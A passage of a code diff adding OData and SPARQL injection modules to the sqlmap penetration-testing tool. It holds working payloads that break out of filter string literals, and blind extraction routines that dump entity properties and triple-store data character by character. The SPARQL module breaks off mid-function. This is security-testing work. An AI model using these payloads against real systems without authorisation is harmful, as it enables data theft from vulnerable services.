like' it worked - every step is a reproducible boolean differential or a +value the application cannot produce by itself. +""" + +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.common import urldecode +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import userOracleActive +from lib.core.settings import ODATA_CHAR_MAX +from lib.core.settings import ODATA_CHAR_MIN +from lib.core.settings import ODATA_COMMON_FIELDS +from lib.core.settings import ODATA_ERROR_REGEX +from lib.core.settings import ODATA_ERROR_SIGNATURES +from lib.core.settings import ODATA_KEY_CANDIDATES +from lib.core.settings import ODATA_MAX_KEY +from lib.core.settings import ODATA_MAX_LENGTH +from lib.core.settings import ODATA_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote + + +SENTINEL = randomStr(length=10, lowercase=True) + +ODATA_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +Boundary = namedtuple("Boundary", ("prefix", "suffix")) + +# Detection boundaries, priority-ordered. Each breaks out of the string literal and rebuilds a filter +# whose truth is (predicate): the base value matches nothing and the trailing "'1' eq '2'" is false, so +# the injected predicate alone decides whether any entity is returned. prefix/suffix wrap a later +# predicate for extraction. +# (true_break, false_break, prefix, suffix) +_BOUNDARY_TABLE = ( + # single-quoted string literal (OData escapes an inner quote by doubling it, hence no backslashes) + ("' or (1 eq 1) or '1' eq '2", "' or (1 eq 2) or '1' eq '2", "' or (", ") or '1' eq '2"), + # double-quoted string literal (some services accept "..." literals) + ('" or (1 eq 1) or "1" eq "2', '" or (1 eq 2) or "1" eq "2', '" or (', ') or "1" eq "2'), +) + +# Charset for blind character recovery. +# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string +# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a +# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency +# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact +# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot +# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData +# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped. +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?")) +_CS_ORDS = [] +for _o in _FREQ: + if ODATA_CHAR_MIN <= _o <= ODATA_CHAR_MAX and _o not in _CS_ORDS: + _CS_ORDS.append(_o) +for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1): + if _o not in _CS_ORDS: + _CS_ORDS.append(_o) + + +def _literal(ordinal): + """One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped).""" + return "'%s'" % ("''" if ordinal == 0x27 else chr(ordinal)) + + +def _delim(place): + return conf.paramDel or (';' if place == PLACE.COOKIE else '&') + + +def _confParameters(place): + return conf.parameters.get(place) or "" + + +def _originalValue(place, parameter): + # decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text + # and a value carrying %XX/'+' round-trips to exactly what the application originally received + for pair in _confParameters(place).split(_delim(place)): + if '=' in pair: + name, _, value = pair.partition('=') + if name.strip() == parameter: + return urldecode(value, convall=True) + return None + + +def _replaceSegment(place, parameter, value): + retVal = [] + for pair in _confParameters(place).split(_delim(place)): + if '=' in pair: + name, _, old = pair.partition('=') + retVal.append("%s=%s" % (name, value if name.strip() == parameter else old)) + elif pair: + retVal.append(pair) + return _delim(place).join(retVal) + + +def _send(place, parameter, value, raw=False): + """One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery. + `raw=True` keeps a 4xx/5xx body (a $filter parser diagnostic is served as 400) which the boolean + oracle must never see. + + The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never + reaches the service intact: a raw '&' is the parameter delimiter, so the request SPLITS and the + $filter arrives truncated, and '+' arrives as a space. That is not hypothetical - the character scan + emits both as data, and unencoded the '&' probe returned a 400 whose InconclusiveError aborted the + WHOLE property, so any value holding one of them dumped as '?'.""" + + if conf.delay: + time.sleep(conf.delay) + + saved = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, code = Request.getPage(raise404=False, silent=True) + if not raw and (blockedStatus(code) or (code and code >= 400)): + return None + return page or "" + except Exception as ex: + logger.debug("OData probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = saved + + +def _isError(page): + page = getUnicode(page or "") + return bool(re.search(ODATA_ERROR_REGEX, page)) or sqlErrorPresent(page) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in ODATA_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _probeError(place, parameter): + """Break the filter and look for an OData $filter parser diagnostic (served as 400). A hint only.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original, raw=True) + for suffix in ("'", '"', ")", " eq "): + broken = _send(place, parameter, original + suffix, raw=True) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + return None, None + + +def _boolean(truthy, falsy): + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + return None + + +def _detectBoolean(place, parameter): + for trueBreak, falseBreak, prefix, suffix in _BOUNDARY_TABLE: + truePayload = SENTINEL + trueBreak + falsePayload = SENTINEL + falseBreak + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix) + return None, None, None + + +def _wrap(boundary, predicate): + return "%s%s%s%s" % (SENTINEL, boundary.prefix, predicate, boundary.suffix) + + +# OData-only attribution: length()/startswith() over a string LITERAL are OData $filter functions with no +# plain-SQL equivalent, so a true/false divergence attributes the finding to OData rather than SQL. No +# property name is needed, so this runs before any field is known. +_ODATA_PREDICATES = ( + ("length('%s') eq 6" % ("sqlmap"), "length('%s') eq 5" % ("sqlmap")), + ("startswith('sqlmap','sql')", "startswith('sqlmap','xyz')"), +) + + +def _confirmOData(place, parameter, boundary): + for truePred, falsePred in _ODATA_PREDICATES: + if _boolean(lambda p=_wrap(boundary, truePred): _send(place, parameter, p), + lambda p=_wrap(boundary, falsePred): _send(place, parameter, p)): + return True + return False + + +def _fingerprintVersion(oracle): + """v4 speaks contains(); v2/v3 speak substringof(). Whichever parses-and-evaluates names the dialect. + + Both probes are EXPECTED to fail on the dialect that does not own them - an unknown $filter function + is a 400, which the oracle can only report as inconclusive. That is a negative answer here, not an + error: raising would abort the scan before the finding is even reported, and it would do so on + exactly the v2/v3 services the second branch exists to name.""" + + for expression, version in (("contains('sqlmap','sql')", "v4"), + ("substringof('sql','sqlmap')", "v2/v3")): + try: + if oracle(expression): + return version + except InconclusiveError: + continue + return None + + +def _makeOracle(place, parameter, boundary, truePredicate="(1 eq 1)"): + """Build a boolean oracle whose TRUE model is the result of `truePredicate` and FALSE model is the + empty set. For detection the true model is the whole entity set ((1 eq 1)); for per-entity extraction + it is a single pinned entity (key eq K), so a `key eq K and ` probe - which returns that one + entity or nothing - matches the two models exactly. Returns None when the models are not separable.""" + + cache = {} + + def request(payload): + if payload not in cache: + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page + return cache[payload] + + truePayload = _wrap(boundary, truePredicate) + falsePayload = _wrap(boundary, "(1 eq 2)") + trueTemplate = request(truePayload) + falseTemplate = request(falsePayload) + + if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): + return None + if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: + return None + + def truth(predicate): + payload = _wrap(boundary, predicate) + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueTemplate, falseTemplate, fresh) + + truth.template = trueTemplate + truth.cache = cache + return truth + + +def _hasErrorSurface(place, parameter, boundary): + """True when an unknown property really does surface as an error. The cheap existence oracle below is + an error/no-error split, so on an endpoint that SWALLOWS the service's 400 it answers 'exists' for + EVERY name - which reported all 37 candidate properties as reachable and dumped a wall of empty + columns. Probing a name that cannot exist tells the two apart in one request.""" + + payload = _wrap(boundary, "(%s ne null)" % randomStr(length=12, lowercase=True)) + page = _send(place, parameter, payload, raw=True) + return page is None or _isError(page) + + +def _fieldExists(place, parameter, boundary, field): + """A property that does not exist makes the whole $filter error (400), while an existing one filtered + to false returns 200-empty. So a raw error/no-error split is the existence oracle - but only where + _hasErrorSurface() confirmed the endpoint actually leaks that difference.""" + + payload = _wrap(boundary, "(%s ne null)" % field) + page = _send(place, parameter, payload, raw=True) + return page is not None and not _isError(page) + + +def _fieldExistsBlind(oracle, key, keyValue, field): + """Existence WITHOUT an error surface, for an endpoint that renders a failed $filter as its ordinary + empty page. 'length(P) ge 0' is true for any property that exists, while an unknown one makes the + whole filter fail and the endpoint then serves exactly the FALSE model - so the boolean oracle + separates them cleanly. One request per candidate, same as the error-based check, and it keeps the + automatic dump working on a blind target instead of surrendering it.""" + + try: + return oracle("(%s eq %d and length(%s) ge 0)" % (key, keyValue, field)) + except InconclusiveError: + return False + + +def _present(place, parameter, boundary, emptyPage, predicate): + """True when `predicate` returns at least one entity, decided by a direct comparison against the known + EMPTY page rather than the ratio oracle - used to discover which key values exist WITHOUT assuming a + per-entity model yet. A partial/multi-row result is fine here: anything that differs from empty counts + as present.""" + + page = _send(place, parameter, _wrap(boundary, predicate)) + if page is None or _isError(page): + return False + return _ratio(page, emptyPage) < UPPER_RATIO_BOUND + + +def _lowestKey(place, parameter, boundary, emptyPage, candidate): + """The smallest existing value of a numeric key, found by bisecting on a RANGE predicate. + + Walking up from 1 only works when the keys start near 1. Real services hand out identities from a + seed (1000, 100000, an epoch), and the old upward walk gave up after its run of misses and reported + 'no numeric key property found' on a perfectly dumpable entity set. `ge` answers over a whole range + at once, so ~17 requests locate the first key wherever it sits.""" + + lo, hi = 0, ODATA_MAX_KEY + if not _present(place, parameter, boundary, emptyPage, "(%s ge %d)" % (candidate, lo)): + return None + while lo < hi: + mid = (lo + hi) // 2 + if _present(place, parameter, boundary, emptyPage, "(%s le %d)" % (candidate, mid)): + hi = mid + else: + lo = mid + 1 + return lo + + +def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True): + """Pick a numeric key property and the key values that actually exist (bounded). Every probe stays a + single-entity 0/1-row answer, which the per-entity oracle can classify. + + The error-based pre-check only earns its request where the endpoint HAS an error surface; without one + it answers 'exists' for every name, so the range probe below - which compares against the known empty + page and so needs no error at all - is left to reject the candidate on its own.""" + + for candidate in ODATA_KEY_CANDIDATES: + if errorSurface and not _fieldExists(place, parameter, boundary, candidate): + continue + start = _lowestKey(place, parameter, boundary, emptyPage, candidate) + if start is None: + continue + present = [] + misses = 0 + value = start - 1 + # scan upward from the first real key; stop after a run of absent ids (sparse keys) or once + # enough are collected + while value < ODATA_MAX_KEY and len(present) < ODATA_MAX_RECORDS and misses < 32: + value += 1 + if _present(place, parameter, boundary, emptyPage, "(%s eq %d)" % (candidate, value)): + present.append(value) + misses = 0 + else: + misses += 1 + if present: + return candidate, present + return None, [] + + +def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH): + """Blindly recover one string property of the entity pinned by key==keyValue: length by binary + search, then each character by bisecting its index in the codepoint-ordered charset. OData substring() + is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1).""" + + pin = "%s eq %d and " % (key, keyValue) + try: + if not oracle("(%slength(%s) ge 1)" % (pin, field)): + return "" + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle("(%slength(%s) ge %d)" % (pin, field, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(length): + # exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values + recovered = "?" + for ordinal in _CS_ORDS: + if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))): + recovered = chr(ordinal) + break + chars.append(recovered) + except InconclusiveError: + logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field) + return None + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntities(place, parameter, boundary, emptyPage): + """Find a key and the entities that exist, enumerate which common string properties are reachable, + then blind-read them for each entity - reaching properties the endpoint never $select-ed. A fresh + oracle is calibrated PER entity (true model = that one entity, false model = empty) so a + 'key eq K and ' probe, which returns that entity or nothing, matches the two models exactly.""" + + errorSurface = _hasErrorSurface(place, parameter, boundary) + if not errorSurface: + logger.debug("this endpoint swallows the service's $filter errors, so property existence is " + "decided through the boolean oracle instead of an error/no-error split") + + key, keys = _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface) + if not key: + logger.info("no numeric key property found among %s; reporting detection only" + % ", ".join(ODATA_KEY_CANDIDATES[:4])) + return + + if errorSurface: + reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExists(place, parameter, boundary, _)] + else: + probe = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, keys[0])) + if probe is None: + logger.info("property enumeration needs a per-entity oracle this endpoint does not support; " + "reporting detection only") + return + reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExistsBlind(probe, key, keys[0], _)] + + fields = [key] + reachable + logger.info("key property '%s'; %d entit%s; reachable properties: %s" + % (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields))) + + rows = [] + for value in keys: + oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value)) + if oracle is None: + continue + row = [str(value)] + for field in fields[1:]: + recovered = _inferField(oracle, key, value, field) + row.append("?" if recovered is None else recovered) + rows.append(row) + + if rows: + conf.dumper.singleString("OData: entities dumped through '$filter' (%d)\n%s" + % (len(rows), _grid(fields, rows))) + + +def odataScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--odata' is self-contained: it detects OData '$filter' injection in HTTP parameters and " + debugMsg += "blindly dumps the reachable entities. SQL enumeration switches (--banner, --dbs, " + debugMsg += "--tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + + for place in (_ for _ in ODATA_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing OData injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _errorPage = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an OData service (framework: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + continue + + isOData = _confirmOData(place, parameter, boundary) or bool(backendHint) + if not isOData: + logger.info("%s parameter '%s' shows a boolean differential but no OData-only construct " + "confirmed it; not attributing to OData (may be plain SQL injection)" + % (place, parameter)) + continue + + found += 1 + if conf.beep: + beep() + + detectOracle = _makeOracle(place, parameter, boundary) + version = _fingerprintVersion(detectOracle) if detectOracle else None + backend = backendHint or "Generic OData" + versionMsg = " %s" % version if version else "" + logger.info("%s parameter '%s' is vulnerable to OData injection (framework: '%s'%s)" + % (place, parameter, backend, versionMsg)) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: OData injection\n" + " Title: OData $filter boolean-based blind\n Payload: %s=%s\n---" + % (parameter, place, parameter, payload)) + + if detectOracle is None: + logger.info("extraction disabled (true/false models not reliably separable); detection stands") + continue + + emptyPage = _send(place, parameter, _wrap(boundary, "(1 eq 2)")) + if emptyPage is not None: + _dumpEntities(place, parameter, boundary, emptyPage) + + if not found: + if tested: + logger.warning("no parameter appears to be injectable via OData injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for OData injection") + + logger.info("OData scan complete") diff --git a/lib/techniques/sparql/__init__.py b/lib/techniques/sparql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/sparql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/sparql/inject.py b/lib/techniques/sparql/inject.py new file mode 100644 index 00000000000..bd058c333d1 --- /dev/null +++ b/lib/techniques/sparql/inject.py @@ -0,0 +1,536 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +SPARQL injection ('--sparql'). + +An application that concatenates user input into a SPARQL query hands over the whole graph pattern +language, not just a value. The typical surface is a search feature whose input lands inside a string +literal in a FILTER (FILTER(?name = "")) or a numeric/term position. Breaking out of that literal +turns the FILTER into an attacker-controlled boolean, which is a boolean-based blind oracle: the row the +query returns appears or disappears according to a condition sqlmap controls. + + detect break the literal, then confirm a reproducible true/false differential (1=1 vs 1=2) + confirm a SPARQL-only construct (isIRI / BOUND-of-a-subquery) that plain SQL does not evaluate, + so the finding is attributed to SPARQL rather than to ordinary SQL injection + extract through the oracle, blindly recover data from the store: the number of triples and of + distinct predicates, each predicate IRI, and a sample of triple OBJECTS - all by + STRLEN + SUBSTR binary search behind an EXISTS sub-pattern + +Objects only, deliberately: the objects are where the data sits, the predicates are already enumerated +in their own pass, and reassembling whole (subject, predicate, object) rows would mean three independent +blind walks per row that all have to agree on the same ordering - triple the request count for the two +components that carry the least. + +Everything is confirmed by a reproducible boolean differential or a per-run random value; nothing is +inferred from a payload merely "looking like" it worked. The extraction is schema-agnostic: it walks the +default graph via COUNT / ORDER BY / OFFSET sub-queries, so it needs no prior knowledge of the ontology. +""" + +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.common import urldecode +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import userOracleActive +from lib.core.settings import SPARQL_CHAR_MAX +from lib.core.settings import SPARQL_CHAR_MIN +from lib.core.settings import SPARQL_ERROR_REGEX +from lib.core.settings import SPARQL_ERROR_SIGNATURES +from lib.core.settings import SPARQL_MAX_LENGTH +from lib.core.settings import SPARQL_MAX_PREDICATES +from lib.core.settings import SPARQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote + + +SENTINEL = randomStr(length=10, lowercase=True) +# a NUMERIC sentinel for the unquoted slot: the base has to be a valid SPARQL term there, and a random +# word is not one - it is a syntax error, which is why the numeric boundary could never fire before +NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789") + +SPARQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# What the injected value STARTS with, chosen so the application's own comparison matches nothing and the +# injected predicate alone decides whether a row comes back. +_BASE_STRING = "string" # a random word, inside the quotes the application already wrote +_BASE_NUMBER = "number" # a random integer, for an unquoted numeric/term slot + +Boundary = namedtuple("Boundary", ("prefix", "suffix", "base")) + +# Detection boundaries, priority-ordered. Each breaks out of the user-controlled position and rebuilds a +# syntactically valid FILTER whose truth is (predicate). `prefix`/`suffix` wrap a later predicate for +# extraction; `sentinel` marks an OR-style boundary (base value matches nothing, so the injected predicate +# alone decides whether any row is returned). +# +# NOTE every boundary is built with SPARQL's `||` and NEVER `&&`: a raw '&' inside a GET value is the +# parameter delimiter, so sqlmap would split the request and the query would arrive truncated (a 500 that +# looks like a dead oracle). '||' with a base value that matches nothing reduces the FILTER to the +# injected predicate, which is exactly what the extraction oracle needs. +# (true_break, false_break, prefix, suffix, base) +_BOUNDARY_TABLE = ( + # double-quoted string literal + ('" || (1=1) || ""!="', '" || (1=2) || ""!="', '" || (', ') || ""!="', _BASE_STRING), + # single-quoted string literal + ("' || (1=1) || ''!='", "' || (1=2) || ''!='", "' || (", ") || ''!='", _BASE_STRING), + # numeric / unquoted term (input not wrapped in quotes). Nothing to close and nothing to re-balance: + # '=' binds tighter than '||', so FILTER(?x = || (pred)) parses as (?x = ) || (pred) and + # reduces to the injected predicate because matches no row. + (" || (1=1)", " || (1=2)", " || (", ")", _BASE_NUMBER), +) + +# Codepoints for blind character recovery. The set is CONTIGUOUS on purpose: the recovery is a +# lexicographic '>=' bisection, so a hole does not make the excluded character unrecoverable - it makes +# the bisection converge on the hole's neighbour and report a DIFFERENT character, silently. '"' and '\' +# therefore stay in the charset and are emitted as their SPARQL escapes rather than dropped. +_CS_ORDS = [_ for _ in xrange(SPARQL_CHAR_MIN, SPARQL_CHAR_MAX + 1)] + +# ECHAR escapes: these two cannot appear raw inside a double-quoted SPARQL literal (STRING_LITERAL2) +_ESCAPES = {0x22: '\\"', 0x5c: "\\\\"} + + +def _literal(ordinal): + """One codepoint as a double-quoted SPARQL string literal.""" + return '"%s"' % _ESCAPES.get(ordinal, chr(ordinal)) + + +def _delim(place): + return conf.paramDel or (';' if place == PLACE.COOKIE else '&') + + +def _confParameters(place): + return conf.parameters.get(place) or "" + + +def _originalValue(place, parameter): + # decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text + # and a value carrying %XX/'+' round-trips to exactly what the application originally received + for pair in _confParameters(place).split(_delim(place)): + if '=' in pair: + name, _, value = pair.partition('=') + if name.strip() == parameter: + return urldecode(value, convall=True) + return None + + +def _replaceSegment(place, parameter, value): + retVal = [] + for pair in _confParameters(place).split(_delim(place)): + if '=' in pair: + name, _, old = pair.partition('=') + retVal.append("%s=%s" % (name, value if name.strip() == parameter else old)) + elif pair: + retVal.append(pair) + return _delim(place).join(retVal) + + +def _send(place, parameter, value, raw=False): + """One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery so + URL, cookies, headers, proxy, delay and encoding all behave exactly as in a normal run. + + `raw=True` returns the body even for a 5xx status. The boolean oracle must NEVER see it (a 500 is not + a usable true/false sample, hence the default nulling), but the error probe wants exactly that body: + a triple-store parser diagnostic is commonly served as a 500. + + The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never + reaches the query intact: a raw '&' is the parameter delimiter, so the request SPLITS and the store + sees a truncated query, and '+' arrives as a space. That is not hypothetical - the character-scan + probes emit both, and unencoded they made a lexicographic bisection answer the '&' comparison + falsely and silently return the WRONG character ('A&x'/'A)x'/'A+x' all recovered as 'A%x').""" + + if conf.delay: + time.sleep(conf.delay) + + saved = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, code = Request.getPage(raise404=False, silent=True) + # A transport failure, a BLOCKED status (403/429) or ANY error status is not a usable oracle + # sample. Nulling only 5xx was not enough: a front-end that serves its parser failure as a 400 + # with a body carrying no recognisable store signature slipped past _isError(), and when that + # body happened to resemble the FALSE model the bit was decided FALSE instead of INCONCLUSIVE - + # a silently wrong character. Measured: a value of 'A(x' behind a validator that 400s the '(' + # probe decoded as 'A\'x'. An unusable sample must be a non-answer, never a cheap false. + if not raw and (blockedStatus(code) or (code and code >= 400)): + return None + return page or "" + except Exception as ex: + logger.debug("SPARQL probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = saved + + +def _isError(page): + page = getUnicode(page or "") + return bool(re.search(SPARQL_ERROR_REGEX, page)) or sqlErrorPresent(page) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in SPARQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _probeError(place, parameter): + """Break the query context and look for a triple-store parser diagnostic. A hint only - the boolean + oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original, raw=True) + # NOTE no '&&' suffix here: a raw '&' in a GET value is the parameter delimiter, so it would split the + # request rather than break the query. A bare quote / paren is enough to trip the parser. + for suffix in ('"', "'", ")", " ."): + broken = _send(place, parameter, original + suffix, raw=True) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when the true/false probes diverge (each independently + reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind SPARQL injection, else (None, None, None).""" + + for trueBreak, falseBreak, prefix, suffix, kind in _BOUNDARY_TABLE: + boundary = Boundary(prefix, suffix, kind) + base = _base(boundary) + truePayload = base + trueBreak + falsePayload = base + falseBreak + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, boundary + return None, None, None + + +def _base(boundary): + return NUMBER_SENTINEL if boundary.base == _BASE_NUMBER else SENTINEL + + +def _wrap(base, boundary, predicate): + return "%s%s%s%s" % (base, boundary.prefix, predicate, boundary.suffix) + + +# SPARQL-only attribution. EXISTS over a triple pattern plus isIRI() is SPARQL graph-pattern syntax with +# no plain-SQL equivalent, so a true/false divergence here is attributable to a SPARQL engine rather than +# to ordinary SQL injection behind the same quote. The false side uses TWO FILTERs (a conjunction) rather +# than `&&`, keeping the payload free of the '&' that GET transport would treat as a delimiter. +_SPARQL_PREDICATES = ( + ("EXISTS { ?zs ?zp ?zo }", "EXISTS { ?zs ?zp ?zo . FILTER(isIRI(?zo)) FILTER(!isIRI(?zo)) }"), +) + + +def _confirmSparql(place, parameter, boundary): + base = _base(boundary) + for truePred, falsePred in _SPARQL_PREDICATES: + if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p), + lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)): + return True + return False + + +def _makeOracle(place, parameter, boundary): + """Build the extraction oracle by recalibrating both true/false models on the SAME base + boundary the + predicates use, then classify each later bit RELATIVE to those two models (resolveBit). Returns None - + disabling extraction - when the models are missing, error pages, or not reliably separable, so a + finding is never dressed up with fabricated data.""" + + cache = {} + base = _base(boundary) + + def request(payload): + if payload not in cache: + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page + return cache[payload] + + truePayload = _wrap(base, boundary, "(1=1)") + falsePayload = _wrap(base, boundary, "(1=2)") + trueTemplate = request(truePayload) + falseTemplate = request(falsePayload) + + if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): + return None + if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: + return None + if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: + return None + + def truth(predicate): + payload = _wrap(base, boundary, predicate) + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueTemplate, falseTemplate, fresh) + + truth.template = trueTemplate + truth.cache = cache + return truth + + +# --- SPARQL condition builders ------------------------------------------------------------------------- +# +# Every extraction condition is an EXISTS over a sub-pattern that BINDS ?v, then a FILTER on ?v. The outer +# `SELECT ?v WHERE { ... }` wrapper is mandatory: a bare `EXISTS { {subquery} FILTER(...) }` silently +# evaluates false on Jena, whereas the wrapped form works. + +def _existsBind(inner, cmp): + return 